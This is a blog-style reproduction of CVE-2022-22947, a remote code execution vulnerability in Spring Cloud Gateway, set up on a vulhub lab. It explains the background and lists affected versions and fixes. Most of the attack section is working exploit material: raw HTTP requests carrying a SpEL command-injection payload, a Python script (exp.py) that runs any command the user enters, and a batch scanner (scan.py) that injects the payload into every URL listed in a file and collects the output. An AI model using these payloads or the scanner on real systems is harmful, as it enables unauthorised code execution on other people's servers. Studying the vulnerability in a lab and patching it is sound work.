CVE Vulnerability Reappearance-CVE-2022-22947-Spring Cloud Gateway RCE

CVE-2022-22947-Spring Cloud Gateway RCE

basic introduction

Microservice Architecture and Spring Cloud

At the beginning, when we developed java projects, all the codes were in one project, which we called monolithic architecture. When the amount of code in our project is getting bigger and more members are developing, there will be very big problems with the performance of our project and the efficiency of our development, so for such a project, we need to dismantle it Divided into different services, for example, it turned out to be a large project, we split it into services, such as order service, user service, commodity service, logistics service, capital service, etc., because of these After the service, we introduced components such as service gateway, service registration discovery, configuration center, call chain monitoring, Metrics monitoring, etc. to coordinate and manage these services

insert image description here

The Spring development team developed a Spring Cloud ecosystem based on the Springboot framework

  • Eureka、Ribbon、OpenFeign、Hystrix、 Config、Zuul
  • Consul、Gateway、Bus、Stream、Sleuth、 zipkin
  • Nacos, Sentinel, Seata

We use these off-the-shelf microservices to develop a project, which is very convenient compared to before, and the component where the vulnerability we need to reproduce this time is called Gateway, which is a gateway component

When we develop a project, because there are too many split services, it is very troublesome for users to call so many services in one project, so we use a unified entrance, which is called service gateway

The role of the gateway:

  • intelligent routing
  • load balancing
  • protocol conversion
  • permission check
  • current limiting fuse
  • Black and white list
  • API monitoring
  • log audit

So the function of the gateway is very powerful, and it is also very necessary in our microservice architecture

Choice of microservice architecture:

  • Netflix Zuul
  • Spring Cloud Gateway
  • Kong
  • Nginx+Secondary

To create a gateway microservice in our Spring framework, we only need to introduce the following dependency in the pom.xml file:

<dependency> 
		<groupId>org.springframework.cloud</groupId>
	 	<artifactId>spring-cloud-starter-gateway</artifactId>
</dependency>

Spring Cloud Gateway concept

  • Route
  • Predicate
  • Filter

Spring Boot Actuator

Spring Boot Actuator is a monitoring component in Spring Boot

The role of Actuator:

  • health examination
  • audit
  • statistics
  • HTTP trace

To create an Actuator in our Spring framework, we only need to introduce the following dependency in the pom.xml file:

<dependencies>
 <dependency> 
 	<groupId>org.springframework.boot</groupId> 
	<artifactId>spring-boot-starter-actuator</artifactId> 
 </dependency> 
</dependencies>

We can use Actuator to monitor Gateway, just add the following code to the configuration file:

management.endpoint.gateway.enabled=true 
management.endpoints.web.exposure.include=gateway

Actuator provides us with a list of operation Gateway interfaces

http://host:port/actuator/gateway/id

insert image description here

Vulnerability recurrence

Here we are using the shooting range provided by vulhub. I won’t say much about how to download this shooting range. It’s too basic.

insert image description here

Enter CVE-2022-22947 after downloading the shooting range of vulhub

insert image description here

Run the following code to start and install the environment

docker-compose up -d

insert image description here

Check if the port is open

docker-compose ps

insert image description here

Open a browser to access the URL address

http://ip:8080

insert image description here

BP into the replayer module

insert image description here

Add filter payload (remember to change the IP port here to yours)

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
    
    
  "id": "wuyaaq",
  "filters": [{
    
    
    "name": "AddResponseHeader",
    "args": {
    
    
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{
    
    \"whoami\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

insert image description here
Send the package, the filter rule is added successfully:

insert image description here

Refresh filter payload

POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: keep-alive
Content-Length: 3
Content-Type: application/x-www-form-urlencoded
Origin: null
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0

a=1

Send the package, and return to show that the refresh is successful

insert image description here

Access filter IDpayload

GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

Or perform this step directly in the browser to access

http://IP:8080/actuator/gateway/routes/hacktest

insert image description here

You can see that the command we entered whoami was executed

Automatic detection of this vulnerability

Save the following code as exp.py

import requests
import json
import base64
import re

payload1 = '/actuator/gateway/routes/wuyaaq'
payload2 = '/actuator/gateway/refresh'
payload3 = '/actuator/gateway/routes/wuyaaq'
headers = {
    
    
    'Accept-Encoding': 'gzip, deflate',
    'Accept': '*/*',
    'Accept-Language': 'en',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
    'Connection': 'close',
    'Content-Type': 'application/json'
}
proxies = {
    
    
    'http': 'http://192.168.0.112:8080'
}


data = 'eyAgImlkIjogInd1eWFhcSIsICAiZmlsdGVycyI6IFt7ICAgICJuYW1lIjogIkFkZFJlc3BvbnNlSGVhZGVyIiwgICAgImFyZ3MiOiB7ICAgICAgIm5hbWUiOiAiUmVzdWx0IiwgICAgICAidmFsdWUiOiAiI3tuZXcgU3RyaW5nKFQob3JnLnNwcmluZ2ZyYW1ld29yay51dGlsLlN0cmVhbVV0aWxzKS5jb3B5VG9CeXRlQXJyYXkoVChqYXZhLmxhbmcuUnVudGltZSkuZ2V0UnVudGltZSgpLmV4ZWMobmV3IFN0cmluZ1tde1wiQ21kXCJ9KS5nZXRJbnB1dFN0cmVhbSgpKSl9IiAgICB9ICB9XSwgICJ1cmkiOiAiaHR0cDovL2V4YW1wbGUuY29tIn0KCg=='

data1 = {
    
    
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'zh-CN,zh;q=0.9',
    'Connection': 'close',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Content-Length': '0'
}

def exec():
    # 执行命令
    requests.post(url+payload1,headers=headers,data=base64.b64decode(data).decode().replace('Cmd',cmd),verify=False,timeout=5)
    # 获得结果
    requests.post(url+payload2,headers=headers,data=data1,verify=False,timeout=5)
    # 
    a = requests.get(url+payload3,headers=headers,verify=False,timeout=5).text
    exec = re.findall(r'Result = [\'"]?([^\'" )]+)', a)
    print(exec)

if __name__ == '__main__':
    url = input("Url:")
    cmd = input("Cmd:")
    exec()
python exp.py

insert image description here

Principle analysis

Question: Why does adding a filter (routing) cause code execution?

process:

1. Turn on Acutator, you can list routes (including filters) through interfaces, such as: /actuator/gateway/routes
2. You can create routes through /gateway/routes/{id_route_to_create}
3. Refresh routes through /actuator/gateway/refresh
4. When a route contains a malicious Filter, the spEL expression inside will be executed

Scan and Repair

Vulnerability scope:

Spring Cloud Gateway < 3.1.1
Spring Cloud Gateway < 3.0.7

https://tanzu.vmware.com/security/cve-2022-22947

Batch detection code

Save the following code as scan.py

import requests
import urllib3
import json
import re
urllib3.disable_warnings()

cmd='whoami'

a='''
  $$$   $$  $$  $$$$$        $$$    $$$    $$$    $$$         $$$    $$$    $$$      $$  $$$$$ 
 $$  $  $$  $$  $$          $  $$  $$ $$  $  $$  $  $$       $  $$  $  $$  $$ $$    $$$     $$ 
 $$     $$  $$  $$             $$  $$ $$     $$     $$          $$     $$  $$ $$   $ $$    $$  
 $$      $$$$   $$$$$  $$$    $$   $$ $$    $$     $$   $$$    $$     $$   $$ $$  $  $$    $$  
 $$      $$$$   $$           $$    $$ $$   $$     $$          $$     $$     $$$$  $$$$$$  $$   
 $$  $   $$$$   $$          $$     $$ $$  $$     $$          $$     $$        $$     $$   $$   
  $$$     $$    $$$$$       $$$$$   $$$   $$$$$  $$$$$       $$$$$  $$$$$   $$$      $$  $$   
'''
b ='python CVE-2022-22947_POC.py url.txt'

uri_check='/actuator/gateway/routes/code'
uri_refresh='/actuator/gateway/refresh'

headers = {
    
    
    'Accept-Encoding': 'gzip, deflate',
    'Accept': '*/*',
    'Accept-Language': 'en',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
    'Content-Type': 'application/json'
}

payload = {
    
    
    "id": "code",
    "filters": [{
    
    
        "name": "AddResponseHeader",
        "args": {
    
    
            "name": "Result",
            "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\"" + cmd +"\").getInputStream()))}"
        }
    }],
    "uri": "http://ggg.cpdd",
    "order": 0
}

#刷新路由

def refresh(url):
    try:
        rf=url+uri_refresh
        req_refresh =requests.post(url=rf,verify=False,timeout=1)
        code_refresh=req_refresh.status_code
        if code_refresh==200:
            print('[+]刷新路由成功')
        else:
            print('[-]刷新路由失败')
            # print(code_refresh)
            # print(code_refresh)
    except requests.exceptions.RequestException:
        print('[-]刷新路由超时')
    except:
        print('[-]刷新路由异常')

def huixian(url):
    try:
        req_huixian=requests.get(url=url+uri_check,verify=False,timeout=1)
        req_huixian_text=req_huixian.text
        req_huixian_code =req_huixian.status_code
        if req_huixian_code==200:
            req_huixian_text = req_huixian_text.replace("'", '')
            req_huixian_text = req_huixian_text.replace(" ", '')
            req_huixian_text = req_huixian_text.replace("\\n", '')
            req_huixian_re = re.compile(r'AddResponseHeaderResult=(.*?)],')
            req_huixian_re_1 = req_huixian_re.findall(req_huixian_text, re.S)
            huixian =req_huixian_re_1[0]
            print(f'[+]获取回显命令成功:{huixian}')
            # print(req_huixian_text)
        else:
            # print(req_huixian_code)
            print('[-]获取回显失败,请手动测试')
    except requests.exceptions.RequestException:
        print('[-]获取回显超时')
    except:
        print('[-]获取回显异常,请手动测试')

#删除命令注入
def del_rce_in(url):
    all=url+uri_check
    try:
        req =requests.delete(url=all,verify=False,timeout=2)
        code = req.status_code
        if code ==200:
            print('[+]删除注入路由成功')
        else:
            print('[-]删除注入路由失败')
    except requests.exceptions.RequestException:
        print('[-]删除注入路由超时')
    except:
        print('[-]删除注入路由异常')

#批量检测漏洞
def poc(txt):
    f =open(txt)
    f=f.readlines()
    for url in f:
        url =url.strip('\n')
        url =url.strip('/')
        try:
            all =url+uri_check
            req =requests.post(url=all,data = json.dumps(payload, ensure_ascii = False),headers=headers,json=json,verify=False,timeout=2)
            code =req.status_code
            if code ==201:
                # print(code)
                print(f'[+]{url}疑似存在漏洞')
                poc_file=open('success.txt','a+')
                poc_file.write(url+'\n')
                poc_file.close()
                refresh(url)
                huixian(url)
                del_rce_in(url)
                refresh(url)
                # refresh(url)
            else:
                print(f'[-]{url}不存在漏洞')
        # continue
        except requests.exceptions.RequestException:
            time_poc=f'[-]{url}漏洞检测超时'
            print(time_poc)
            pass
        except:
            print(f'[-]{url}rce注入失败,请检查网站是否能访问')
            continue

if __name__ == '__main__' :
    print(a)
    poc('url.txt')

Then prepare a url.txt file in the same directory, and write the addresses to be detected in batches in it

insert image description here

Then execute the code for batch detection

python scan.py

insert image description here

repair

1. Update and upgrade Spring Cloud Gateway to the following security version:
Spring Cloud Gateway >=3.1.1
Spring Cloud Gateway >=3.0.7
2. Disable the Actuator interface without considering the impact on the business:

management.endpoint.gateway.enable:false

Guess you like

Origin blog.csdn.net/qq_64973687/article/details/130059155